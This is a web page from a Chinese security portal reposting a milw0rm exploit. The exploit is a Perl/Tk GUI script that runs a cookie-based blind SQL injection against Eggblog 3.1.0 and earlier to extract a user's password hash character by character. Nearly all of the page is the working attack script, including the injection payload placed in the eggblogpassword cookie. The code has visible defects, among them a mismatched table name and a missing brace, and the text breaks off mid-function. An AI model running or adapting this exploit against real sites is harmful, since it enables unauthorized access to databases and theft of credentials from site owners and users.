Eggblog <= 3.1.0 Cookies Remote SQL Injection Exploit - 华盟网

| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 |

服务导航

我要发布

主力频道

精华收集

光盘刻录

您现在的位置：华盟网 >> 漏洞 >> web apps >> 正文

用户登录

新用户注册

远程SQL注入利用漏洞

★★★

【字体：小大】

Eggblog <= 3.1.0 Cookies Remote SQL Injection Exploit

作者：milw0rm 文章来源：milw0rm 点击数：更新时间：2008-1-9

　　#!/usr/bin/perl

　　use Tk;

　　use Tk::BrowseEntry;

　　use Tk::DialogBox;

　　use LWP::UserAgent;

　　$mw = new MainWindow(title => "UnderWHAT?!" );

　　$mw->geometry ( '420x343' ) ;

　　$mw->resizable(0,0);

　　$mw->Label(-text => '', -font => '{Verdana} 8',-foreground=>'red')->pack();

　　$mw->Label(-text => 'eggblog <= 3.1.0 Cookies Sql Injection', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();

　　$mw->Label(-text => 'it will take about half an hour to get hashed password', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();

　　$mw->Label(-text => 'you need magic_quotes_gpc turned off and mysql version higher that 4.1', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();

　　$mw->Label(-text => '', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();

　　$fleft = $mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;

　　$fright = $mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

　　$url = 'http://test2.ru/eggblog/home/index.php';

　　$user_id = '1';

　　$prefix = 'eggblog_';

　　$table = 'users';

　　$column = 'user_password';

　　$report = '';

　　$group = 1;

　　$curr_user = 0;

　　$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

　　$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;

　　$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;

　　$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

　　$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

　　$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

　　$fleft->Label ( -text => 'Returned hash: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;

　　$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;

　　$fright->Label( -text => ' ')->pack();

　　$fright->Button(-text => 'Test blog vulnerability',

　　-relief => "groove",

　　-width => '30',

　　-font => '{Verdana} 8 bold',

　　-activeforeground => 'red',

　　-command => \&test_vuln

　　)->pack();

　　$fright->Button(-text => 'Get hash from database',

　　-relief => "groove",

　　-width => '30',

　　-font => '{Verdana} 8 bold',

　　-activeforeground => 'red',

　　-command => \&get_hash

　　)->pack();

　　$mw ->Label(-text => '', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fleft->Label(-text => '!', -font => '{Webdings} 22')->pack();

　　$fleft->Label(-text => 'eggblog 3.1.0', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fleft->Label(-text => 'cookie sql injection ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fleft->Label(-text => 'mysql char bruteforcing ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fleft->Label(-text => 'bug in auth function ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fleft->Label(-text => 'by gemaglabin and Elekt ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fleft->Label(-text => '( mafia of antichat.ru ) ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fleft->Label(-text => ' 2007.02.04 ( fixed ) ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();

　　$fright->Label(-text => '', -font => '{Verdana} 3 bold',-foreground=>'red')->pack();

　　$print=$fright->Text(-width=>35,-height=>5,-wrap=>"word")->pack(-side=>"top",-anchor=>"s");

　　MainLoop();

　　sub get_hash()

　　{

　　srand();

　　$xpl = LWP::UserAgent->new( ) or die;

　　$InfoWindow=$mw->DialogBox(-title => 'get hash from database', -buttons => ["OK"]);

　　$i = 1;

　　$b = 0;

　　$report = '';

　　my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);

　　$print->insert('end',"- Start [$hour:$min:$sec]\n");

　　my @brutearray=qw(48 49 50 51 52 53 54 55 56 57 58 97 98 99 100 101 102);

　　while (length($report)<32)

　　{

　　$num = $brutearray[$b];

　　$ret = get_pchar();

　　if($ret > 0)

　　{

　　$print->insert('end',"- char [$num] = ".chr($num)."\n");

　　$report .= chr($num);

　　$b = 0;

　　$i = $i +1;

　　$mw->update();

　　break;

　　}

　　else

　　{

　　$b = $b +1;

　　}

　　my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);

　　$print->insert('end',"- Finish [$hour:$min:$sec]");

　　}

　　sub get_pchar()

　　{

　　$res = $xpl->get($url,'Cookie'=>"eggblogemail=%;eggblogpassword=' or 1=if(ascii(substring((select password from ".$prefix."members where id=$user_id),$i,1))=$num,1,(select 1 union select 2))/*");

　　if($res->as_string =~ /MySQL/i) { return 0;}

　　else {return 1;}

　　}

　　sub test_vuln()

　　{

　　$xpl = LWP::UserAgent->new( ) or die;

　　$res = $xpl->get($url,'Cookie'=>"eggblogemail=%;eggblogpassword='");

　　if($res->is_success)

　　{

　　$rep = '';

　　if($res->as_string =~ /MySQL/i)

　　{